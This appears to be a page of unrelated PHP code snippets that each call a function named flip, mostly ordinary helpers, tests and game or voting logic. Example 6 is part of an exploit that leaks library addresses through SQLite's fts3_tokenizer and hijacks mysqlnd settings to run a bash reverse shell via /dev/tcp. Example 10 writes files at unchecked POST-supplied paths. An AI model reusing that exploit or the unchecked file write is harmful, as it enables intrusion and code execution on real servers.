Exemplo n.º 1
0
function generic2($chart, $data)
{
    $out = flip($data);
    $result = array();
    $result["cat"] = $out[$chart["xAxis"]["attribute"]];
    $result["series"] = $out[$chart["series"][0]["min"]];
    return $result;
}
Exemplo n.º 2
0
function test_flip()
{
    $a = function ($a, $b) {
        return pow($a, $b);
    };
    $b = function ($a, $b, $c) {
        return $a . $b . $c;
    };
    $af = flip($a);
    $bf = flip($b);
    return is_identical($af(10, 2), $a(2, 10)) && is_identical($bf('a', 'b', 'c'), $b('b', 'a', 'c'));
}
Exemplo n.º 3
0
function caseify($str)
{
    global $cm_prev;
    $str = strtolower($str);
    $len = strlen($str);
    do {
        $cm = mt_rand() % 4;
    } while ($cm == $cm_prev);
    $cm_prev = $cm;
    switch ($cm) {
        case 1:
            $str = strtoupper($str);
            break;
        case 2:
        case 3:
            $str[0] = flip($str[0]);
            break;
            //case 2:
            //	$str[$len-1] = flip($str[$len-1]);
            //	break;
    }
    return $str;
}
Exemplo n.º 4
0
}, 'compose1' => function ($x, $y, $z) {
    return call(compose(plus($x), mult($y)), $z) !== $x + $y * $z;
}, 'compose2' => function ($x, $y, $z) {
    return call(compose(mult($x), plus($y)), $z) !== $x * ($y + $z);
}, 'compose3' => function ($x, $y, $z) {
    $f = flip('map', [$x, $y]);
    $c = compose($f, 'plus');
    return $c($z) !== [$x + $z, $y + $z];
}, 'compose4' => function ($n) {
    return call(compose('id', 'id'), $n) !== $n;
}, 'compose5' => function ($x, $y, $z) {
    return call(compose(plus($x), plus($y)), $z) !== $x + $y + $z;
}, 'compose6' => function ($x, $y, $z) {
    return call(compose(flip('plus', $x), plus($y)), $z) !== $x + $y + $z;
}, 'compose7' => function ($x, $y, $z) {
    $f = flip('map', [$x, $y]);
    $c = compose($f, 'plus');
    return $c($z) !== [$x + $z, $y + $z];
}, 'compose8' => function ($x, $y) {
    $c = compose(with($x), 'plus');
    return $c($y) !== $x + $y;
}, 'sum' => function () {
    return sum($xs = range(0, mt_rand(1, 100))) !== array_reduce($xs, 'plus', 0);
}, 'random1' => function () {
    return !is_int(random(null));
}, 'mem1' => function () {
    return mem('true') <= 0;
}, 'upto1' => function ($n) {
    return count(upto($n % 100)) !== $n % 100;
}, 'between1' => function () {
    return between(5, 10) !== [5, 6, 7, 8, 9, 10];
Exemplo n.º 5
0
<?php

$fh = fopen($argv[1], 'r');
function flip($locks)
{
    for ($i = 2; $i < count($locks); $i += 3) {
        $locks[$i] = !$locks[$i];
    }
    return $locks;
}
function lock($locks)
{
    for ($i = 1; $i < count($locks); $i += 2) {
        $locks[$i] = true;
    }
    return $locks;
}
while (false !== ($line = fgets($fh))) {
    list($count, $runs) = explode(' ', trim($line));
    $unlocked = 0;
    $locks = array_fill(0, $count, false);
    for ($i = 1; $i < $runs; $i++) {
        $locks = lock($locks);
        $locks = flip($locks);
    }
    $locks[count($locks) - 1] = !$locks[count($locks) - 1];
    foreach ($locks as $lock) {
        $unlocked += (int) (!$lock);
    }
    echo $unlocked . PHP_EOL;
}
Exemplo n.º 6
0
// .text:00000000002F138F   mov   [rsp+88h+var_58], rdx
// .text:00000000002F1394   mov   rax, fs:28h
// .text:00000000002F139D   mov   [rsp+88h+var_40], rax
// .text:00000000002F13A2   xor   eax, eax
// .text:00000000002F13A4   mov   [rsp+88h+var_50], rcx
// .text:00000000002F13A9   mov   [rsp+88h+var_48], 0
// .text:00000000002F13B2   call  _popen
$system = 0x2f137a;
// libsqlite3
$simpleTokenizerModule = 0x2c1be0;
$simpleCreate = 0x29400;
$db = new SQLite3(":memory:");
if (isset($_GET['base'])) {
    // step two
    $libmysqlnd_base = hexdec($_GET['base']);
    $stage = $libmysqlnd_base + $fake_module;
    $bomb = flip(dechex($stage));
    $db->exec("select fts3_tokenizer('simple', x'{$bomb}');\n    create virtual table a using fts3;\n    insert into a values('bash -c \"bash>/dev/tcp/127.1/1337 0<&1\"')");
} else {
    // step one
    $row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
    $leaked_addr = $row['addr'];
    $db->close();
    $addr = hexdec(flip($leaked_addr));
    $libsqlite3_base = $addr - $simpleTokenizerModule;
    $libphp_base = $libsqlite3_base + 0x6234000;
    $libmysqlnd_base = $libsqlite3_base + 0x113a000;
    $simple_create = $libsqlite3_base + $simpleCreate;
    my_ini_set(array('mysqlnd.net_cmd_buffer_size' => $simple_create, 'mysqlnd.log_mask' => $libphp_base + $system));
    die(dechex($libmysqlnd_base));
}
Exemplo n.º 7
0
 public function testFlip()
 {
     $this->assertSame([1 => 'a', 2 => 'b', 3 => 'c'], toArrayWithKeys(flip(['a' => 1, 'b' => 2, 'c' => 3])));
 }
Exemplo n.º 8
0
function renderBodyBack($filename)
{
    $filename_def = base_url('img/recursos/steve.png');
    header("Content-type: image/png");
    // Load
    $rendered = imagecreatetruecolor(240, 480);
    if (@GetImageSize($filename)) {
        $source = imagecreatefrompng($filename);
    } else {
        $source = imagecreatefrompng($filename_def);
    }
    $b = 120;
    $s = 8;
    // Fill the new image with pink and set pink as the transparent colour
    $pink = imagecolorallocate($rendered, 255, 0, 255);
    imagefilledrectangle($rendered, 0, 0, 240, 480, $pink);
    imagecolortransparent($rendered, $pink);
    $fsource = flip($source);
    imagecopyresampled($rendered, $source, $b / 2, 0, $s * 3, $s, $b, $b, $s, $s);
    // Copy head
    imagecopyresampled($rendered, $source, $b / 2, 0, $s * 7, $s, $b, $b, $s, $s);
    // Copy the head accesory
    imagecopyresampled($rendered, $source, $b / 2, $b, $s * 4, $s * 2.5, $b, $b * 1.5, $s, $s * 1.5);
    // Copy the body
    imagecopyresampled($rendered, $source, $b * 1.5, $b, $s * 6.5, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5);
    // Copy the left arm
    imagecopyresampled($rendered, $fsource, 0, $b, $s * 1, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5);
    // Copy the right arm
    imagecopyresampled($rendered, $source, $b * 1, $b * 2.5, $s * 1.5, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5);
    // Copy the left leg
    imagecopyresampled($rendered, $fsource, 60, $b * 2.5, $s * 6, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5);
    // Copy the right leg
    return imagepng($rendered);
}
Exemplo n.º 9
0
        static $curried = true;
        return array_reduce($funcs, function ($x, $f) {
            return call_user_func(op($f), $x);
        }, call_user_func_array($f, func_get_args()));
    };
}
defun('implode_', 'implode');
defun('join_', implode_(''));
defun('concat', function ($n) {
    return compose('join_', array_($n));
});
defun('thunk', function ($x, $_) {
    return $x;
});
defun('nil', thunk([]));
defuns(['filter' => flip(nary('array_filter', 2)), 'sum' => nary('array_sum', 1)]);
defuns(['keys' => nary('array_keys', 1), 'values' => nary('array_values', 1), 'merge' => nary('array_merge', 2), 'foldr' => function ($f, $zero, $arr) {
    // Take args in a sane order
    return array_reduce($arr, $f, $zero);
}, 'key_foldr' => function ($f, $zero) {
    return compose(foldr($f, $zero), key_map(array_(2)));
}, 'subscript' => function ($x, $y) {
    return $x[$y];
}, 'take' => function ($n, $a) {
    return array_slice($a, 0, $n);
}, 'cons' => function ($x, $y) {
    return merge([$x], $y);
}, 'snoc' => function ($x, $y) {
    return merge($y, [$x]);
}, 'echo_' => function ($x) {
    echo $x;
Exemplo n.º 10
0
    $data = @getimagesize($filename);
    if ($data == false) {
        return false;
    }
    //读取旧图片
    switch ($data[2]) {
        case 1:
            $src_f = imagecreatefromgif($filename);
            break;
        case 2:
            $src_f = imagecreatefromjpeg($filename);
            break;
        case 3:
            $src_f = imagecreatefrompng($filename);
            break;
    }
    if ($src_f == "") {
        return false;
    }
    $rotate = @imagerotate($src_f, $degrees, 0);
    if (!imagejpeg($rotate, $src, 100)) {
        return false;
    }
    @imagedestroy($rotate);
    return true;
}
if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_POST['type'] == 'turn_photo') {
    $filepath = $_POST['name'];
    $degrees = $_POST['degrees'];
    flip($filepath, $filepath, $degrees);
}
Exemplo n.º 11
0
function calculateGamePointsReportGame(&$winner1, &$winner2, &$loser1, &$loser2, $winnerresult, $loserresult, &$winnerteam, &$loserteam, $ratingOldWinner1, $ratingOldWinner2, $ratingOldLoser1, $ratingOldLoser2, $pointsOldWinner1, $pointsOldWinner2, $pointsOldLoser1, $pointsOldLoser2, $type, $isDraw, &$comment, $sixGameId)
{
    $msg = "";
    $singleBonus = 1.4;
    $doublePenalty = 0.6;
    if ($type == "1on1") {
        $ratingoldwinnerAvg = $ratingOldWinner1;
        $ra2oldwinnerAvg = $pointsOldWinner1;
        $ratingoldloserAvg = $ratingOldLoser1;
        $ra2oldloserAvg = $pointsOldLoser1;
    } else {
        if ($type == "2on1") {
            $ratingoldwinnerAvg = round(($ratingOldWinner1 + $ratingOldWinner2) / 2);
            $ra2oldwinnerAvg = round(($pointsOldWinner1 + $pointsOldWinner2) / 2);
            $ratingoldloserAvg = $ratingOldLoser1;
            $ra2oldloserAvg = $pointsOldLoser1;
            $msg .= "<p>" . getPlayerLinkBold($winner1) . "&ndash;" . getPlayerLinkBold($winner2) . " points average: <b>{$ra2oldwinnerAvg}</b></p>";
        } else {
            if ($type == "1on2") {
                $ratingoldwinnerAvg = $ratingOldWinner1;
                $ra2oldwinnerAvg = $pointsOldWinner1;
                $ratingoldloserAvg = round(($ratingOldLoser1 + $ratingOldLoser2) / 2);
                $ra2oldloserAvg = round(($pointsOldLoser1 + $pointsOldLoser2) / 2);
                $msg .= "<p>" . getPlayerLinkBold($loser1) . "&ndash;" . getPlayerLinkBold($loser2) . " points average: <b>{$ra2oldloserAvg}</b></p>";
            } else {
                $ratingoldwinnerAvg = round(($ratingOldWinner1 + $ratingOldWinner2) / 2);
                $ra2oldwinnerAvg = round(($pointsOldWinner1 + $pointsOldWinner2) / 2);
                $ratingoldloserAvg = round(($ratingOldLoser1 + $ratingOldLoser2) / 2);
                $ra2oldloserAvg = round(($pointsOldLoser1 + $pointsOldLoser2) / 2);
                $msg .= "<p>" . getPlayerLinkBold($winner1) . "&ndash;" . getPlayerLinkBold($winner2) . " points average: <b>{$ra2oldwinnerAvg}</b></p>";
                $msg .= "<p>" . getPlayerLinkBold($loser1) . "&ndash;" . getPlayerLinkBold($loser2) . " points average: <b>{$ra2oldloserAvg}</b></p>";
            }
        }
    }
    $ratingdiff = getRatingDifference($ratingoldwinnerAvg, $ratingoldloserAvg);
    if ($isDraw > 0) {
        $ra2newwinneradd = getLadderPointsDraw($ra2oldloserAvg, $ra2oldwinnerAvg);
        $ra2newloserrem = getLadderPointsDraw($ra2oldwinnerAvg, $ra2oldloserAvg);
    } else {
        if ($ra2oldwinnerAvg > $ra2oldloserAvg) {
            $ra2newwinneradd = getLadderPointsBetterWon($ra2oldloserAvg, $ra2oldwinnerAvg);
            $ra2newloserrem = getLadderPointsBetterWon($ra2oldwinnerAvg, $ra2oldloserAvg);
        } else {
            if ($ra2oldwinnerAvg <= $ra2oldloserAvg) {
                $ra2newwinneradd = getLadderPointsBetterLost($ra2oldloserAvg, $ra2oldwinnerAvg);
                $ra2newloserrem = getLadderPointsBetterLost($ra2oldwinnerAvg, $ra2oldloserAvg);
            }
        }
    }
    if ($type == "2on1") {
        $penalty = round($ra2newwinneradd * $doublePenalty);
        $winPenalty = $ra2newwinneradd - $penalty;
        $msg .= "<p>{$type} win points penalty: <b>-{$winPenalty}</b></p>";
        $ra2newwinneradd = round($penalty);
        $ra2newloserrem = round($ra2newloserrem * $doublePenalty);
    } else {
        if ($type == "1on2") {
            $bonus = round($ra2newwinneradd * $singleBonus);
            $winBonus = $bonus - $ra2newwinneradd;
            $msg .= "<p>{$type} win points bonus: <b>+{$winBonus}</b></p>";
            $ra2newwinneradd = round($bonus);
            $ra2newloserrem = round($ra2newloserrem * $singleBonus);
        } else {
            if ($type == "2on2") {
                $ra2newwinneradd = round($ra2newwinneradd);
                $ra2newloserrem = round($ra2newloserrem);
            }
        }
    }
    // draw?
    if ($isDraw > 0) {
        $ratingdiff = 0;
        if ($ra2oldwinnerAvg > $ra2oldloserAvg) {
            // point winner(s) must go to the left side
            // names
            flip($winner1, $loser1);
            flip($winner2, $loser2);
            flip($pointsOldWinner1, $pointsOldLoser1);
            flip($pointsOldWinner2, $pointsOldLoser2);
            flip($winnerteam, $loserteam);
            if (is_null($sixGameId)) {
                // add reporter to comment
                $comment = "[reported by {$loser1}] " . $comment;
            }
        }
    }
    $cowardFactor = getCowardFactor($ra2oldwinnerAvg, $ra2oldloserAvg);
    if ($cowardFactor < 1) {
        $msg .= "<p>500+ ladder points each - win/lose points reduced by factor <b>{$cowardFactor}</b></p>";
        $ra2newwinneradd = round($ra2newwinneradd * $cowardFactor);
        $ra2newloserrem = round($ra2newloserrem * $cowardFactor);
    }
    $teamBonusArray = getTeamBonus($winnerteam, $loserteam, $isDraw, $ra2newwinneradd);
    $teamBonusWinner = $teamBonusArray['bonusWinner'];
    $ra2winneraddbonus = $ra2newwinneradd + $teamBonusWinner;
    if ($teamBonusWinner > 0) {
        $teamBonusWinnerDisplay = "(+" . $teamBonusWinner . " for team)";
    }
    $msg .= $teamBonusArray['msg'];
    // set new points amount
    $ra2newwinner = $pointsOldWinner1 + $ra2winneraddbonus;
    $msg .= "<p>" . getPlayerLinkBold($winner1) . " wins {$ra2winneraddbonus} {$teamBonusWinnerDisplay} for a total of {$ra2newwinner} points.</p>";
    if (!empty($winner2)) {
        $ra2newwinner2 = $pointsOldWinner2 + $ra2winneraddbonus;
        $msg .= "<p>" . getPlayerLinkBold($winner2) . " wins {$ra2winneraddbonus} {$teamBonusWinnerDisplay} for a total of {$ra2newwinner2} points.</p>";
    }
    $ra2newloserremL1 = 0;
    $ra2newloser = getLosePoints($pointsOldLoser1, $ra2newloserrem, $ra2newloserremL1);
    $msg .= "<p>" . getPlayerLinkBold($loser1) . " loses {$ra2newloserremL1} for a total of {$ra2newloser} points.</p>";
    if (!empty($loser2)) {
        $ra2newloserremL2 = 0;
        $ra2newloser2 = getLosePoints($pointsOldLoser2, $ra2newloserrem, $ra2newloserremL2);
        $msg .= "<p>" . getPlayerLinkBold($loser2) . " loses {$ra2newloserremL2} for a total of {$ra2newloser2} points.</p>";
    }
    $result = array();
    $result["ratingdiff"] = $ratingdiff;
    $result["pointsNewWinner1"] = $ra2newwinner;
    $result["pointsNewWinner2"] = $ra2newwinner2;
    $result["pointsNewLoser1"] = $ra2newloser;
    $result["pointsNewLoser2"] = $ra2newloser2;
    $result["addPointsWinner"] = $ra2winneraddbonus;
    $result["removePointsLoser1"] = $ra2newloserremL1;
    $result["removePointsLoser2"] = $ra2newloserremL2;
    $result["teamBonusWinner"] = $teamBonusWinner;
    $result["message"] = $msg;
    return $result;
}
Exemplo n.º 12
0
function rerunForNeitherOnBallot($cands, $pairs, $ballots)
{
    $old_pairs = $pairs;
    $new_pairs = $pairs;
    foreach ($ballots as $ballot) {
        $cands_missing_on_this_ballot = array();
        foreach ($cands as $miss) {
            if (!in_array($miss, $ballot)) {
                $cands_missing_on_this_ballot[] = $miss;
            }
        }
        foreach ($cands_missing_on_this_ballot as $I) {
            foreach ($cands_missing_on_this_ballot as $J) {
                if ($I != $J) {
                    $ballots_with_neither = array();
                    foreach ($ballots as $bal) {
                        if (!in_array($I, $bal) and !in_array($J, $bal)) {
                            $ballots_with_neither[] = $bal;
                        }
                    }
                    //per Tse-min algorithm
                    $V = count($ballots);
                    $M = floor($V / 2) + 1;
                    $C = count($cands);
                    $R = count($ballots) - count($ballots_with_neither);
                    $S = count($ballots_with_neither);
                    $T = $old_pairs[$I][$J];
                    $IbeatJ = $old_pairs[$I][$J];
                    $JbeatI = $old_pairs[$J][$I];
                    $prob = $IbeatJ / ($IbeatJ + $JbeatI);
                    $Q = $prob;
                    $k_range = $M - $T - 1;
                    if ($M - $S <= $T && $T < $M) {
                        $sum = 0;
                        foreach (range(0, $k_range) as $k) {
                            $sum += binomial($S, $Q, $k);
                        }
                        $new_prob = 1 - $sum;
                    }
                    if ($T + $S < $M) {
                        $new_prob = 0;
                    }
                    if ($T >= $M) {
                        $new_prob = 1;
                    }
                    global $PRINT;
                    if ($PRINT) {
                        print "\n----------------------\n";
                        print "I is {$I}\n";
                        print "J is {$J}\n";
                        print "V is {$V}\n";
                        print "M is {$M}\n";
                        print "C is {$C}\n";
                        print "R is {$R}\n";
                        print "S is {$S}\n";
                        print "T is {$T}\n";
                        print "Q is {$Q}\n";
                        print "k range is {$k_range}\n";
                        print "calculated probability is {$new_prob}\n";
                    }
                    if (flip($new_prob)) {
                        $new_pairs[$I][$J] += 1;
                    } else {
                        //		$new_pairs[$J][$I] += 1;
                    }
                }
            }
        }
    }
    return $new_pairs;
}
Exemplo n.º 13
0
function match($str, $char)
{
    $depth = 0;
    $i = 0;
    foreach (str_split($str) as $s) {
        if ($depth == 1 && $s == flip($char)) {
            return $i;
        }
        if ($s == $char) {
            $depth++;
        }
        if ($s == flip($char)) {
            $depth--;
        }
        $i++;
    }
}